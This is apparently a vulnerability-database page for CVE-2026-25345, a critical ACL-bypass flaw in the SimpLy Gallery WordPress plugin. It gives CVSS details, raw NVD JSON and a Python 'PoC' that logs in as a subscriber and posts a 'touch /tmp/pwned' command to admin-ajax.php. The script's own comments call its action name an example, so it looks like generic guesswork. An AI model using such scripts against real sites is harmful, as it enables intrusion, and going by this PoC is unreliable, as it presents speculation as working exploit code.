Security Vulnerability Report
中文
CVE-2026-25345 CVSS 9.9 CRITICAL

CVE-2026-25345

Published: 2026-03-25 17:16:45
Last Modified: 2026-04-24 16:32:54

Description

Improper Validation of Specified Quantity in Input vulnerability in GalleryCreator SimpLy Gallery simply-gallery-block allows Accessing Functionality Not Properly Constrained by ACLs.This issue affects SimpLy Gallery: from n/a through <= 3.3.2.

CVSS Details

CVSS Score
9.9
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

SimpLy Gallery <= 3.3.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # PoC for CVE-2026-25345 # This script demonstrates the ACL bypass leading to potential RCE. # Replace TARGET_URL and valid credentials with actual test environment values. def exploit(target_url, username, password): session = requests.Session() # Step 1: Login as a low-privilege user (e.g., Subscriber) login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': target_url + '/wp-admin' } login_resp = session.post(target_url + '/wp-login.php', data=login_data) if login_resp.status_code != 200: print("[!] Login failed") return print("[+] Login successful") # Step 2: Send payload to vulnerable endpoint # The vulnerability allows bypassing ACL via improper input validation payload = { 'action': 'simply_gallery_block_action', # Example action name 'quantity': '9999', # Malicious input to bypass validation logic 'malicious_param': 'touch /tmp/pwned' # Proof of concept command } exploit_resp = session.post(target_url + '/wp-admin/admin-ajax.php', data=payload) if exploit_resp.status_code == 200: print("[+] Payload sent successfully") print("[+] Check if the arbitrary code execution occurred.") else: print("[!] Exploit request failed") if __name__ == "__main__": # Example usage exploit("http://target-site.com", "subscriber", "password")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-25345", "sourceIdentifier": "[email protected]", "published": "2026-03-25T17:16:45.213", "lastModified": "2026-04-24T16:32:53.997", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Validation of Specified Quantity in Input vulnerability in GalleryCreator SimpLy Gallery simply-gallery-block allows Accessing Functionality Not Properly Constrained by ACLs.This issue affects SimpLy Gallery: from n/a through <= 3.3.2."}, {"lang": "es", "value": "Validación Incorrecta de Cantidad Especificada en la Entrada vulnerabilidad en GalleryCreator SimpLy Gallery simply-gallery-block permite Acceder a Funcionalidad No Restringida Adecuadamente por ACLs. Este problema afecta a SimpLy Gallery: desde n/a hasta &lt;= 3.3.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.9, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.1, "impactScore": 6.0}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.9, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.1, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-1284"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/simply-gallery-block/vulnerability/wordpress-simply-gallery-plugin-3-3-2-arbitrary-code-execution-vulnerability?_s_id=cve", "source": "[email protected]"}]}}